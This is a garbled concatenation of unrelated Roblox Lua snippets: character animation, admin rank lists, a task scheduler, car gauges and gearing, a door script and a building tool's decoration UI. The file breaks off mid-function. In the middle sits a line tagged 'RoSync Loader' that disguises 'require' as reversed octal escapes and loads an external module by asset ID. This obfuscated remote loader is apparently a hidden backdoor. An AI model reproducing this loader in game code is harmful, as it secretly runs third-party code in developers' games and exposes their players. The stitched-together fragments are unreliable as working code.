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function onSwimming(speed) if speed > 1.00 then local scale = 10.0 playAnimation("swim", 0.4, zombie) setAnimationSpeed(speed / scale) pose = "Swimming" else playAnimation("swimidle", 0.4, zombie) pose = "Standing" end end function animateTool() if (toolAnim == "None") then playToolAnimation("toolnone", toolTransitionTime, zombie, Enum.AnimationPriority.Idle) return end if (toolAnim == "Slash") then playToolAnimation("toolslash", 0, zombie, Enum.AnimationPriority.Action) return end if (toolAnim == "Lunge") then playToolAnimation("toollunge", 0, zombie, Enum.AnimationPriority.Action) return end end function getToolAnim(tool) for _, c in ipairs(tool:GetChildren()) do if c.Name == "toolanim" and c.className == "StringValue" then return c end end return nil end local lastTick = 0 function stepAnimate(currentTime) local amplitude = 1 local frequency = 1 local deltaTime = currentTime - lastTick lastTick = currentTime local climbFudge = 0 local setAngles = false if (jumpAnimTime > 0) then jumpAnimTime = jumpAnimTime - deltaTime end if (pose == "FreeFall" and jumpAnimTime <= 0) then playAnimation("fall", fallTransitionTime, zombie) elseif (pose == "Seated") then playAnimation("sit", 0.5, zombie) return elseif (pose == "Running") then playAnimation("walk", 0.2, zombie) elseif (pose == "Dead" or pose == "GettingUp" or pose == "FallingDown" or pose == "Seated" or pose == "PlatformStanding") then stopAllAnimations() amplitude = 0.1 frequency = 1 setAngles = true end -- Tool Animation handling local tool = Character:FindFirstChildOfClass("Tool") local requireHandleCheck = not UserSettings():IsUserFeatureEnabled("UserToolR15Fix") if tool and ((requireHandleCheck and tool.RequiresHandle) or tool:FindFirstChild("Handle")) then local animStringValueObject = getToolAnim(tool) if animStringValueObject then toolAnim = animStringValueObject.Value -- message recieved, delete StringValue animStringValueObject.Parent = nil toolAnimTime = currentTime + .3 end if currentTime > toolAnimTime then toolAnimTime = 0 toolAnim = "None" end animateTool() else stopToolAnimations() toolAnim = "None" toolAnimInstance = nil toolAnimTime = 0 end end
--[LOCALS]--
local Icon = require(game:GetService("ReplicatedStorage").Icon) local SocialService = game:GetService("SocialService") local Player = game.Players.LocalPlayer local icon = Icon.new() :setLabel("Invite Friends", "deselected") :setLabel("Open", "selected") :setCaption("Invite your friends to join!")
-------------------------------------------------------------- -- You DO NOT need to add yourself to any of these lists!!! -- --------------------------------------------------------------
local Owners={kill1773} -- Can set SuperAdmins, & use all the commands local SuperAdmins={kill1773} -- Can set permanent admins, & shutdown the game local Admins={kill1773} -- Can ban, crash, & set Moderators/VIP local Mods={kill1773} -- Can kick, mute, & use most commands local VIP={kill1773} -- Can use nonabusive commands only on self
--If you parent the LocalScript manually, you can remove this script.
---------------------
local colorchangingpart = script.Parent --put it here tomake it easier
--[[ param targetFps Task scheduler won't run a task if it'd make the FPS drop below this amount (WARNING) this only holds true if it is used properly. If you try to complete 10 union operations at once in a single task then of course your FPS is going to drop -- queue the union operations up one at a time so the task scheduler can do its job. returns scheduler method Pause Pauses the scheduler so it won't run tasks. Tasks may still be added while the scheduler is paused. They just won't be touched until it's resumed. Performance efficient -- disables execution loop entirely until scheduler is resumed. method Resume Resumes the paused scheduler. method Destroy Destroys the scheduler so it can't be used anymore. method QueueTask Queues a task for automatic execution. param callback function (task) to be run. Example usage: local scheduler = TaskScheduler:CreateScheduler(60) local totalOperations = 0 local paused for i=1,100 do scheduler:QueueTask(function() local partA = Instance.new("Part", workspace) local partB = Instance.new("Part", workspace) plugin:Union({partA, partB}):Destroy() totalOperations = totalOperations + 1 print("Times unioned:", totalOperations) if (totalOperations == 50) then scheduler:Pause() paused = true end end) end repeat wait() until paused wait(2) scheduler:Resume() --]]
function TaskScheduler:CreateScheduler(targetFps) local scheduler = {} local queue = {} local sleeping = true local paused local updateFrameTableEvent = nil local start = tick() runService.RenderStepped:Wait() local function UpdateFrameTable() lastIteration = tick() for i = #frameUpdateTable,1,-1 do frameUpdateTable[i + 1] = ((frameUpdateTable[i] >= (lastIteration - 1)) and frameUpdateTable[i] or nil) end frameUpdateTable[1] = lastIteration end local function Loop() updateFrameTableEvent = runService.RenderStepped:Connect(UpdateFrameTable) while (true) do if (sleeping) then break end local fps = (((tick() - start) >= 1 and #frameUpdateTable) or (#frameUpdateTable / (tick() - start))) if (fps >= targetFps and (tick() - frameUpdateTable[1]) < (1 / targetFps)) then if (#queue > 0) then queue[1]() table.remove(queue, 1) else sleeping = true break end else runService.RenderStepped:Wait() end end updateFrameTableEvent:Disconnect() updateFrameTableEvent = nil end function scheduler:Pause() paused = true sleeping = true end function scheduler:Resume() if (paused) then paused = false sleeping = false Loop() end end function scheduler:Destroy() scheduler:Pause() for i in pairs(scheduler) do scheduler[i] = nil end setmetatable(scheduler, { __index = function() error("Attempt to use destroyed scheduler") end; __newindex = function() error("Attempt to use destroyed scheduler") end; }) end function scheduler:QueueTask(callback) queue[#queue + 1] = callback if (sleeping and not paused) then sleeping = false Loop() end end return scheduler end return TaskScheduler
-- yaw-axis rotational velocity of a part with a given CFrame and total RotVelocity
local function yawVelocity(rotVel, cf) return math.abs(cf.YVector:Dot(rotVel)) end
--[[ This is a dictionary that lays out the permissions of each user, and their rank. FORMAT: [ranknumber] = selectlimit or true. Setting it to true disables the limit ]]
local module = { [0] = 20000, [1] = true, } return module
--[=[ @param motor Enum.VibrationMotor @param intensity number @param duration number Sets the gamepad's haptic motor to a certain intensity for a given period of time. The motor will stop vibrating after the given `duration` has elapsed. Calling any motor setter methods (e.g. `SetMotor`, `PulseMotor`, `StopMotor`) _after_ calling this method will override the pulse. For instance, if `PulseMotor` is called, and then `SetMotor` is called right afterwards, `SetMotor` will take precedent. ```lua -- Pulse the large motor for 0.2 seconds with an intensity of 90%: gamepad:PulseMotor(Enum.VibrationMotor.Large, 0.9, 0.2) -- Example of PulseMotor being overridden: gamepad:PulseMotor(Enum.VibrationMotor.Large, 1, 3) task.wait(0.1) gamepad:SetMotor(Enum.VibrationMotor.Large, 0.5) -- Now the pulse won't shut off the motor after 3 seconds, -- because SetMotor was called, which cancels the pulse. ``` ]=]
function Gamepad:PulseMotor(motor: Enum.VibrationMotor, intensity: number, duration: number) local id = self:SetMotor(motor, intensity) local heartbeat = HeartbeatDelay(duration, function() if self._setMotorIds[motor] ~= id then return end self:StopMotor(motor) end) self._gamepadTrove:Add(heartbeat) end
-- << SCREEN CLICKED/DRAGGED/TOUCHED >> --Check to activate any Client Commands
local functionsToCheck = {"laserEyes"} local function checkPressFunctions(hitPosition) main.lastHitPosition = hitPosition for _,commandName in pairs(functionsToCheck) do main:GetModule("cf"):ActivateClientCommand(commandName) end end
--[[ -----------[ THEMES ]----------- - LIGHT THEME: If you want the light theme version of the board, replace line 1 with: require(2925075326).Parent = script.Parent - DARK THEME: If you want the dark theme version of the board, replace line 1 with: require(5799918029).Parent = script.Parent - RAINBOW THEME: If you want the rainbow theme version of the board, replace line 1 with: require(6872314867).Parent = script.Parent --]] --[[ Last synced 5/29/2021 05:54 RoSync Loader ]]
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[ ]]--
--Automatic Gauge Scaling
if autoscaling then local Drive={} if _Tune.Config == "FWD" or _Tune.Config == "AWD" then if car.Wheels:FindFirstChild("FL")~= nil then table.insert(Drive,car.Wheels.FL) end if car.Wheels:FindFirstChild("FR")~= nil then table.insert(Drive,car.Wheels.FR) end if car.Wheels:FindFirstChild("F")~= nil then table.insert(Drive,car.Wheels.F) end end if _Tune.Config == "RWD" or _Tune.Config == "AWD" then if car.Wheels:FindFirstChild("RL")~= nil then table.insert(Drive,car.Wheels.RL) end if car.Wheels:FindFirstChild("RR")~= nil then table.insert(Drive,car.Wheels.RR) end if car.Wheels:FindFirstChild("R")~= nil then table.insert(Drive,car.Wheels.R) end end local wDia = 0 for i,v in pairs(Drive) do if v.Size.x>wDia then wDia = v.Size.x end end Drive = nil for i,v in pairs(UNITS) do v.maxSpeed = math.ceil(v.scaling*wDia*math.pi*_lRPM/60/_Tune.Ratios[#_Tune.Ratios]/_Tune.FinalDrive/_Tune.FDMult) v.spInc = math.max(math.ceil(v.maxSpeed/150)*10,10) end end for i=0,revEnd*2 do local ln = gauges.ln:clone() ln.Parent = gauges.Tach ln.Rotation = 45 + i * 225 / (revEnd*2) ln.Num.Text = i/2 ln.Num.Rotation = -ln.Rotation if i*500>=math.floor(_pRPM/500)*500 then ln.Frame.BackgroundColor3 = Color3.new(1,0,0) if i<revEnd*2 then ln2 = ln:clone() ln2.Parent = gauges.Tach ln2.Rotation = 45 + (i+.5) * 225 / (revEnd*2) ln2.Num:Destroy() ln2.Visible=true end end if i%2==0 then ln.Frame.Size = UDim2.new(0,3,0,10) ln.Frame.Position = UDim2.new(0,-1,0,100) ln.Num.Visible = true else ln.Num:Destroy() end ln.Visible=true end local lns = Instance.new("Frame",gauges.Speedo) lns.Name = "lns" lns.BackgroundTransparency = 1 lns.BorderSizePixel = 0 lns.Size = UDim2.new(0,0,0,0) for i=1,90 do local ln = gauges.ln:clone() ln.Parent = lns ln.Rotation = 45 + 225*(i/90) if i%2==0 then ln.Frame.Size = UDim2.new(0,2,0,10) ln.Frame.Position = UDim2.new(0,-1,0,100) else ln.Frame.Size = UDim2.new(0,3,0,5) end ln.Num:Destroy() ln.Visible=true end local blns = Instance.new("Frame",gauges.Boost) blns.Name = "blns" blns.BackgroundTransparency = 1 blns.BorderSizePixel = 0 blns.Size = UDim2.new(0,0,0,0) for i=0,12 do local bln = gauges.bln:clone() bln.Parent = blns bln.Rotation = 45+270*(i/12) if i%2==0 then bln.Frame.Size = UDim2.new(0,2,0,7) bln.Frame.Position = UDim2.new(0,-1,0,40) else bln.Frame.Size = UDim2.new(0,3,0,5) end bln.Num:Destroy() bln.Visible=true end for i,v in pairs(UNITS) do local lnn = Instance.new("Frame",gauges.Speedo) lnn.BackgroundTransparency = 1 lnn.BorderSizePixel = 0 lnn.Size = UDim2.new(0,0,0,0) lnn.Name = v.units if i~= 1 then lnn.Visible=false end for i=0,v.maxSpeed,v.spInc do local ln = gauges.ln:clone() ln.Parent = lnn ln.Rotation = 45 + 225*(i/v.maxSpeed) ln.Num.Text = i ln.Num.TextSize = 14 ln.Num.Rotation = -ln.Rotation ln.Frame:Destroy() ln.Num.Visible=true ln.Visible=true end end if isOn.Value then gauges:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true) end isOn.Changed:connect(function() if isOn.Value then gauges:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true) end end) values.RPM.Changed:connect(function() gauges.Tach.Needle.Rotation = 45 + 225 * math.min(1,values.RPM.Value / (revEnd*1000)) end) local _TCount = 0 if _Tune.Aspiration ~= "Natural" then if _Tune.Aspiration == "Single" then _TCount = 1 elseif _Tune.Aspiration == "Double" then _TCount = 2 end values.Boost.Changed:connect(function() local boost = (math.floor(values.Boost.Value)*1.2)-((_Tune.Boost*_TCount)/5) gauges.Boost.Needle.Rotation = 45 + 270 * math.min(1,(values.Boost.Value/(_Tune.Boost)/_TCount)) gauges.PSI.Text = tostring(math.floor(boost).." PSI") end) else gauges.Boost:Destroy() end values.Gear.Changed:connect(function() local gearText = values.Gear.Value if gearText == 0 then gearText = "N" car.DriveSeat.FE_Lights:FireServer('updateLights', 'reverse', false) elseif gearText == -1 then gearText = "R" car.DriveSeat.FE_Lights:FireServer('updateLights', 'reverse', true) end gauges.Gear.Text = gearText end) values.TCS.Changed:connect(function() if _Tune.TCSEnabled then if values.TCS.Value then gauges.TCS.TextColor3 = Color3.new(1,170/255,0) gauges.TCS.TextStrokeColor3 = Color3.new(1,170/255,0) if values.TCSActive.Value then wait() gauges.TCS.Visible = not gauges.TCS.Visible else wait() gauges.TCS.Visible = false end else gauges.TCS.Visible = true gauges.TCS.TextColor3 = Color3.new(1,0,0) gauges.TCS.TextStrokeColor3 = Color3.new(1,0,0) end else gauges.TCS.Visible = false end end) values.TCSActive.Changed:connect(function() if _Tune.TCSEnabled then if values.TCSActive.Value and values.TCS.Value then wait() gauges.TCS.Visible = not gauges.TCS.Visible elseif not values.TCS.Value then wait() gauges.TCS.Visible = true else wait() gauges.TCS.Visible = false end else gauges.TCS.Visible = false end end) gauges.TCS.Changed:connect(function() if _Tune.TCSEnabled then if values.TCSActive.Value and values.TCS.Value then wait() gauges.TCS.Visible = not gauges.TCS.Visible elseif not values.TCS.Value then wait() gauges.TCS.Visible = true end else if gauges.TCS.Visible then gauges.TCS.Visible = false end end end) values.ABS.Changed:connect(function() if _Tune.ABSEnabled then if values.ABS.Value then gauges.ABS.TextColor3 = Color3.new(1,170/255,0) gauges.ABS.TextStrokeColor3 = Color3.new(1,170/255,0) if values.ABSActive.Value then wait() gauges.ABS.Visible = not gauges.ABS.Visible else wait() gauges.ABS.Visible = false end else gauges.ABS.Visible = true gauges.ABS.TextColor3 = Color3.new(1,0,0) gauges.ABS.TextStrokeColor3 = Color3.new(1,0,0) end else gauges.ABS.Visible = false end end) values.ABSActive.Changed:connect(function() if _Tune.ABSEnabled then if values.ABSActive.Value and values.ABS.Value then wait() gauges.ABS.Visible = not gauges.ABS.Visible elseif not values.ABS.Value then wait() gauges.ABS.Visible = true else wait() gauges.ABS.Visible = false end else gauges.ABS.Visible = false end end) gauges.ABS.Changed:connect(function() if _Tune.ABSEnabled then if values.ABSActive.Value and values.ABS.Value then wait() gauges.ABS.Visible = not gauges.ABS.Visible elseif not values.ABS.Value then wait() gauges.ABS.Visible = true end else if gauges.ABS.Visible then gauges.ABS.Visible = false end end end) function PBrake() gauges.PBrake.Visible = values.PBrake.Value end values.PBrake.Changed:connect(PBrake) function Gear() if values.TransmissionMode.Value == "Auto" then gauges.TMode.Text = "A/T" gauges.TMode.BackgroundColor3 = Color3.new(1,170/255,0) elseif values.TransmissionMode.Value == "Semi" then gauges.TMode.Text = "S/T" gauges.TMode.BackgroundColor3 = Color3.new(0, 170/255, 127/255) else gauges.TMode.Text = "M/T" gauges.TMode.BackgroundColor3 = Color3.new(1,85/255,.5) end end values.TransmissionMode.Changed:connect(Gear) values.Velocity.Changed:connect(function(property) gauges.Speedo.Needle.Rotation = 45 + 225 * math.min(1,UNITS[currentUnits].scaling*values.Velocity.Value.Magnitude/UNITS[currentUnits].maxSpeed) gauges.Speed.Text = math.floor(UNITS[currentUnits].scaling*values.Velocity.Value.Magnitude) .. " "..UNITS[currentUnits].units end) mouse.KeyDown:connect(function(key) if key=="v" then gauges.Visible=not gauges.Visible end end) gauges.Speed.MouseButton1Click:connect(function() if currentUnits==#UNITS then currentUnits = 1 else currentUnits = currentUnits+1 end for i,v in pairs(gauges.Speedo:GetChildren()) do v.Visible=v.Name==UNITS[currentUnits].units or v.Name=="Needle" or v.Name=="lns" end gauges.Speed.Text = math.floor(UNITS[currentUnits].scaling*values.Velocity.Value.Magnitude) .. " "..UNITS[currentUnits].units end) wait(.1) Gear() PBrake()
--handle.ClickDetector.MouseClick:Connect(function(player, part)
if doorOpen == true and changingState == false then changingState = true soundo:Play() for i = 1, 16 do script.Parent:SetPrimaryPartCFrame(script.Parent.PrimaryPart.CFrame * CFrame.new(0, 0, 0.1)) wait(0.0001) end changingState = false doorOpen = false elseif changingState == false then changingState = true soundc:Play() for i = 1, 16 do script.Parent:SetPrimaryPartCFrame(script.Parent.PrimaryPart.CFrame * CFrame.new(0, 0, -0.1)) wait(0.0001) end changingState = false doorOpen = true end end)
--[[ remoteSignal = ClientRemoteSignal.new(remoteEvent: RemoteEvent) remoteSignal:Connect(handler: (...args: any)): Connection remoteSignal:Fire(...args: any): void remoteSignal:Wait(): (...any) remoteSignal:Destroy(): void --]]
local IS_SERVER = game:GetService("RunService"):IsServer() local Ser = require(script.Parent.Parent.Ser)
--[[ Local Variables ]]
-- local MasterControl = {} local Players = game:GetService('Players') local RunService = game:GetService('RunService') local VRService = game:GetService('VRService') local VREnabled = VRService.VREnabled while not Players.LocalPlayer do Players.PlayerAdded:wait() end local LocalPlayer = Players.LocalPlayer local LocalCharacter = LocalPlayer.Character local CachedHumanoid = nil local isJumping = false local moveValue = Vector3.new(0, 0, 0) local isJumpEnabled = true local areControlsEnabled = true
--[[Transmission]]
Tune.TransModes = {"Auto", "Semi", "Manual"} --[[ [Modes] "Auto" : Automatic shifting "Semi" : Clutchless manual shifting, dual clutch transmission "Manual" : Manual shifting with clutch >Include within brackets eg: {"Semi"} or {"Auto", "Manual"} >First mode is default mode ]] --Automatic Settings Tune.AutoShiftMode = "Speed" --[[ [Modes] "Speed" : Shifts based on wheel speed "RPM" : Shifts based on RPM ]] Tune.AutoUpThresh = -590 --Automatic upshift point (relative to peak RPM, positive = Over-rev) Tune.AutoDownThresh = 1400 --Automatic downshift point (relative to peak RPM, positive = Under-rev) --Gear Ratios Tune.FinalDrive = 3.06 -- Gearing determines top speed and wheel torque Tune.Ratios = { -- Higher ratio = more torque, Lower ratio = higher top speed --[[Reverse]] 3.70 , -- Copy and paste a ratio to add a gear --[[Neutral]] 0 , -- Ratios can also be deleted --[[ 1 ]] 3.53 , -- Reverse, Neutral, and 1st gear are required --[[ 2 ]] 2.04 , --[[ 3 ]] 1.38 , --[[ 4 ]] 1.03 , --[[ 5 ]] 0.81 , --[[ 6 ]] 0.64 , } Tune.FDMult = 1.5 -- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)
--[[ The entry point for the Fusion library. ]]
local Types = require(script.Types) local restrictRead = require(script.Utility.restrictRead) export type State = Types.State export type StateOrValue = Types.StateOrValue export type Symbol = Types.Symbol return restrictRead("Fusion", { New = require(script.Instances.New), Children = require(script.Instances.Children), OnEvent = require(script.Instances.OnEvent), OnChange = require(script.Instances.OnChange), State = require(script.State.State), Computed = require(script.State.Computed), ComputedPairs = require(script.State.ComputedPairs), Compat = require(script.State.Compat), Tween = require(script.Animation.Tween), Spring = require(script.Animation.Spring) })
--[[ Evercyan @ March 2023 PlayerListStats PlayerListStats creates a leaderstats folder under every Player on the client side (each client has their own instances) which shows their levels. They are placeholders, meaning the real data is under ReplicatedStorage.PlayerData. If you change stats under leaderstats instead of a pData config, it will not save, and will likely be overwritten. ]]
-- List of creatable decoration types
local DecorationTypes = { 'Smoke', 'Fire', 'Sparkles' }; function UpdateUI() -- Updates information on the UI -- Make sure the UI's on if not DecorateTool.UI then return; end; -- Go through each decoration type and update each options UI for _, DecorationType in pairs(DecorationTypes) do local Decorations = GetDecorations(DecorationType); local DecorationSettingsUI = DecorateTool.UI[DecorationType]; -- Option input references local Options = DecorationSettingsUI.Options; -- Add/remove button references local AddButton = DecorationSettingsUI.AddButton; local RemoveButton = DecorationSettingsUI.RemoveButton; -- Hide option UIs for decoration types not present in the selection if #Decorations == 0 and not DecorationSettingsUI.ClipsDescendants then CloseOptions(); end; ------------------------------------------- -- Show and hide "ADD" and "REMOVE" buttons ------------------------------------------- -- If no selected parts have decorations if #Decorations == 0 then -- Show add button only AddButton.Visible = true; AddButton.Position = UDim2.new(1, -AddButton.AbsoluteSize.X - 5, 0, 3); RemoveButton.Visible = false; -- If only some selected parts have decorations elseif #Decorations < #Selection.Items then -- Show both add and remove buttons AddButton.Visible = true; AddButton.Position = UDim2.new(1, -AddButton.AbsoluteSize.X - 5, 0, 3); RemoveButton.Visible = true; RemoveButton.Position = UDim2.new(1, -AddButton.AbsoluteSize.X - 5 - RemoveButton.AbsoluteSize.X - 2, 0, 3); -- If all selected parts have decorations elseif #Decorations == #Selection.Items then -- Show remove button RemoveButton.Visible = true; RemoveButton.Position = UDim2.new(1, -RemoveButton.AbsoluteSize.X - 5, 0, 3); AddButton.Visible = false; end; -------------------- -- Update each input -------------------- -- Update smoke inputs if DecorationType == 'Smoke' then -- Get the inputs local SizeInput = Options.SizeOption.Input.TextBox; local VelocityInput = Options.VelocityOption.Input.TextBox; local OpacityInput = Options.OpacityOption.Input.TextBox; local ColorIndicator = Options.ColorOption.Indicator; -- Update the inputs UpdateDataInputs { [SizeInput] = Support.Round(Support.IdentifyCommonProperty(Decorations, 'Size'), 2) or '*'; [VelocityInput] = Support.Round(Support.IdentifyCommonProperty(Decorations, 'RiseVelocity'), 2) or '*'; [OpacityInput] = Support.Round(Support.IdentifyCommonProperty(Decorations, 'Opacity'), 2) or '*'; }; UpdateColorIndicator(ColorIndicator, Support.IdentifyCommonProperty(Decorations, 'Color')); -- Update fire inputs elseif DecorationType == 'Fire' then -- Get the inputs local SizeInput = Options.SizeOption.Input.TextBox; local HeatInput = Options.HeatOption.Input.TextBox; local SecondaryColorIndicator = Options.SecondaryColorOption.Indicator; local ColorIndicator = Options.ColorOption.Indicator; -- Update the inputs UpdateColorIndicator(ColorIndicator, Support.IdentifyCommonProperty(Decorations, 'Color')); UpdateColorIndicator(SecondaryColorIndicator, Support.IdentifyCommonProperty(Decorations, 'SecondaryColor')); UpdateDataInputs { [HeatInput] = Support.Round(Support.IdentifyCommonProperty(Decorations, 'Heat'), 2) or '*'; [SizeInput] = Support.Round(Support.IdentifyCommonProperty(Decorations, 'Size'), 2) or '*'; }; -- Update sparkle inputs elseif DecorationType == 'Sparkles' then -- Get the inputs local ColorIndicator = Options.ColorOption.Indicator; -- Update the inputs UpdateColorIndicator(ColorIndicator, Support.IdentifyCommonProperty(Decorations, 'SparkleColor')); end; end; end; function HideUI() -- Hides the tool UI -- Make sure there's a UI if not DecorateTool.UI then return; end; -- Hide the UI DecorateTool.UI.Visible = false; -- Stop updating the UI UIUpdater:Stop(); end; function GetDecorations(DecorationType) -- Returns all the decorations of the given type in the selection local Decorations = {}; -- Get any decorations from any selected parts for _, Part in pairs(Selection.Items) do table.insert(Decorations, Support.GetChildOfClass(Part, DecorationType)); end; -- Return the decorations return Decorations; end; function UpdateColorIndicator(Indicator, Color) -- Updates the given color indicator -- If there is a single color, just display it if Color then Indicator.BackgroundColor3 = Color; Indicator.Varies.Text = ''; -- If the colors vary, display a * on a gray background else Indicator.BackgroundColor3 = Color3.new(222/255, 222/255, 222/255); Indicator.Varies.Text = '*'; end; end; function UpdateDataInputs(Data) -- Updates the data in the given TextBoxes when the user isn't typing in them -- Go through the inputs and data for Input, UpdatedValue in pairs(Data) do -- Make sure the user isn't typing into the input if not Input:IsFocused() then -- Set the input's value Input.Text = tostring(UpdatedValue); end; end; end; function TrackChange() -- Start the record HistoryRecord = { Before = {}; After = {}; Unapply = function (Record) -- Reverts this change -- Select the changed parts Selection.Replace(Support.GetListMembers(Record.Before, 'Part')); -- Send the change request Core.SyncAPI:Invoke('SyncDecorate', Record.Before); end; Apply = function (Record) -- Applies this change -- Select the changed parts Selection.Replace(Support.GetListMembers(Record.After, 'Part')); -- Send the change request Core.SyncAPI:Invoke('SyncDecorate', Record.After); end; }; end; function RegisterChange() -- Finishes creating the history record and registers it -- Make sure there's an in-progress history record if not HistoryRecord then return; end; -- Send the change to the server Core.SyncAPI:Invoke('SyncDecorate', HistoryRecord.After); -- Register the record and clear the staging Core.History.Add(HistoryRecord); HistoryRecord = nil; end; function EnableOptionsUI(SettingsUI) -- Sets up the UI for the given decoration type settings UI -- Get the type of decoration this options UI is for local DecorationType = SettingsUI.Name; -- Option input references local Options = SettingsUI.Options; -- Add/remove/show button references local AddButton = SettingsUI.AddButton; local RemoveButton = SettingsUI.RemoveButton; local ShowButton = SettingsUI.ArrowButton; -- Enable options for smoke decorations if DecorationType == 'Smoke' then SyncInputToProperty('Color', DecorationType, 'Color', Options.ColorOption.HSVPicker); SyncInputToProperty('Size', DecorationType, 'Number', Options.SizeOption.Input.TextBox); SyncInputToProperty('RiseVelocity', DecorationType, 'Number', Options.VelocityOption.Input.TextBox); SyncInputToProperty('Opacity', DecorationType, 'Number', Options.OpacityOption.Input.TextBox); -- Enable options for fire decorations elseif DecorationType == 'Fire' then SyncInputToProperty('Color', DecorationType, 'Color', Options.ColorOption.HSVPicker); SyncInputToProperty('SecondaryColor', DecorationType, 'Color', Options.SecondaryColorOption.HSVPicker); SyncInputToProperty('Size', DecorationType, 'Number', Options.SizeOption.Input.TextBox); SyncInputToProperty('Heat', DecorationType, 'Number', Options.HeatOption.Input.TextBox); -- Enable options for sparkle decorations elseif DecorationType == 'Sparkles' then SyncInputToProperty('SparkleColor', DecorationType, 'Color', Options.ColorOption.HSVPicker); end; -- Enable decoration addition button AddButton.MouseButton1Click:connect(function () AddDecorations(DecorationType); end); -- Enable decoration removal button RemoveButton.MouseButton1Click:connect(function () RemoveDecorations(DecorationType); end); -- Enable decoration options UI show button ShowButton.MouseButton1Click:connect(function () OpenOptions(DecorationType); end); end; function OpenOptions(DecorationType) -- Opens the options UI for the given decoration type -- Get the UI local UI = DecorateTool.UI[DecorationType]; local UITemplate = Core.Tool.Interfaces.BTDecorateToolGUI[DecorationType]; -- Close up all decoration option UIs CloseOptions(DecorationType); -- Calculate how much to expand this options UI by local HeightExpansion = UDim2.new(0, 0, 0, UITemplate.Options.Size.Y.Offset); -- Start the options UI size from 0 UI.Options.Size = UDim2.new(UI.Options.Size.X.Scale, UI.Options.Size.X.Offset, UI.Options.Size.Y.Scale, 0); -- Allow the options UI to be seen UI.ClipsDescendants = false; -- Perform the options UI resize animation UI.Options:TweenSize( UITemplate.Options.Size + HeightExpansion, Enum.EasingDirection.Out, Enum.EasingStyle.Quad, 0.5, true, function () -- Allow visibility of overflowing UIs within the options UI UI.Options.ClipsDescendants = false; end ); -- Expand the main UI to accommodate the expanded options UI DecorateTool.UI:TweenSize( Core.Tool.Interfaces.BTDecorateToolGUI.Size + HeightExpansion, Enum.EasingDirection.Out, Enum.EasingStyle.Quad, 0.5, true ); -- Push any UIs below this one downwards local DecorationTypeIndex = Support.FindTableOccurrence(DecorationTypes, DecorationType); for DecorationTypeIndex = DecorationTypeIndex + 1, #DecorationTypes do -- Get the UI local DecorationType = DecorationTypes[DecorationTypeIndex]; local UI = DecorateTool.UI[DecorationType]; -- Perform the position animation UI:TweenPosition( UDim2.new( UI.Position.X.Scale, UI.Position.X.Offset, UI.Position.Y.Scale, 30 + 30 * (DecorationTypeIndex - 1) + HeightExpansion.Y.Offset ), Enum.EasingDirection.Out, Enum.EasingStyle.Quad, 0.5, true ); end; end; function CloseOptions(Exception) -- Closes all decoration options, except the one for the given decoration type -- Go through each decoration type for DecorationTypeIndex, DecorationType in pairs(DecorationTypes) do -- Get the UI for each decoration type local UI = DecorateTool.UI[DecorationType]; local UITemplate = Core.Tool.Interfaces.BTDecorateToolGUI[DecorationType]; -- Remember the initial size for each options UI local InitialSize = UITemplate.Options.Size; -- Move each decoration type UI to its starting position UI:TweenPosition( UDim2.new( UI.Position.X.Scale, UI.Position.X.Offset, UI.Position.Y.Scale, 30 + 30 * (DecorationTypeIndex - 1) ), Enum.EasingDirection.Out, Enum.EasingStyle.Quad, 0.5, true ); -- Make sure to not resize the exempt decoration type UI if not Exception or Exception and DecorationType ~= Exception then -- Allow the options UI to be resized UI.Options.ClipsDescendants = true; -- Perform the resize animation to close up UI.Options:TweenSize( UDim2.new(UI.Options.Size.X.Scale, UI.Options.Size.X.Offset, UI.Options.Size.Y.Scale, 0), Enum.EasingDirection.Out, Enum.EasingStyle.Quad, 0.5, true, function () -- Hide the option UI UI.ClipsDescendants = true; -- Set the options UI's size to its initial size (for reexpansion) UI.Options.Size = InitialSize; end ); end; end; -- Contract the main UI if no option UIs are being opened if not Exception then DecorateTool.UI:TweenSize( Core.Tool.Interfaces.BTDecorateToolGUI.Size, Enum.EasingDirection.Out, Enum.EasingStyle.Quad, 0.5, true ); end; end; function SyncInputToProperty(Property, DecorationType, InputType, Input) -- Enables `Input` to change the given property -- Enable inputs if InputType == 'Color' then Input.MouseButton1Click:connect(function () Core.Cheer(Core.Tool.Interfaces.BTHSVColorPicker, Core.UI).Start( Support.IdentifyCommonProperty(GetDecorations(DecorationType), Property) or Color3.new(0, 0, 1), function (Color) SetProperty(DecorationType, Property, Color) end, Core.Targeting.CancelSelecting ); end); -- Enable number inputs elseif InputType == 'Number' then Input.FocusLost:connect(function () SetProperty(DecorationType, Property, tonumber(Input.Text)); end); end; end; function SetProperty(DecorationType, Property, Value) -- Make sure the given value is valid if not Value then return; end; -- Start a history record TrackChange(); -- Go through each decoration for _, Decoration in pairs(GetDecorations(DecorationType)) do -- Store the state of the decoration before modification table.insert(HistoryRecord.Before, { Part = Decoration.Parent, DecorationType = DecorationType, [Property] = Decoration[Property] }); -- Create the change request for this decoration table.insert(HistoryRecord.After, { Part = Decoration.Parent, DecorationType = DecorationType, [Property] = Value }); end; -- Register the changes RegisterChange(); end; function AddDecorations(DecorationType) -- Prepare the change request for the server local Changes = {}; -- Go through the selection for _, Part in pairs(Selection.Items) do -- Make sure this part doesn't already have a decoration if not Support.GetChildOfClass(Part, DecorationType) then -- Queue a decoration to be created for this part table.insert(Changes, { Part = Part, DecorationType = DecorationType }); end; end; -- Send the change request to the server local Decorations = Core.SyncAPI:Invoke('CreateDecorations', Changes); -- Put together the history record local HistoryRecord = { Decorations = Decorations; Unapply = function (HistoryRecord) -- Reverts this change -- Select changed parts Selection.Replace(Support.GetListMembers(HistoryRecord.Decorations, 'Parent')); -- Remove the decorations Core.SyncAPI:Invoke('Remove', HistoryRecord.Decorations); end; Apply = function (HistoryRecord) -- Reapplies this change -- Restore the decorations Core.SyncAPI:Invoke('UndoRemove', HistoryRecord.Decorations); -- Select changed parts Selection.Replace(Support.GetListMembers(HistoryRecord.Decorations, 'Parent')); end; }; -- Register the history record Core.History.Add(HistoryRecord); -- Open the options UI for this decoration type OpenOptions(DecorationType); end; function RemoveDecorations(DecorationType) -- Get all the decorations in the selection local Decorations = GetDecorations(DecorationType); -- Create the history record local HistoryRecord = { Decorations = Decorations; Unapply = function (HistoryRecord) -- Reverts this change -- Restore the decorations Core.SyncAPI:Invoke('UndoRemove', HistoryRecord.Decorations); -- Select changed parts 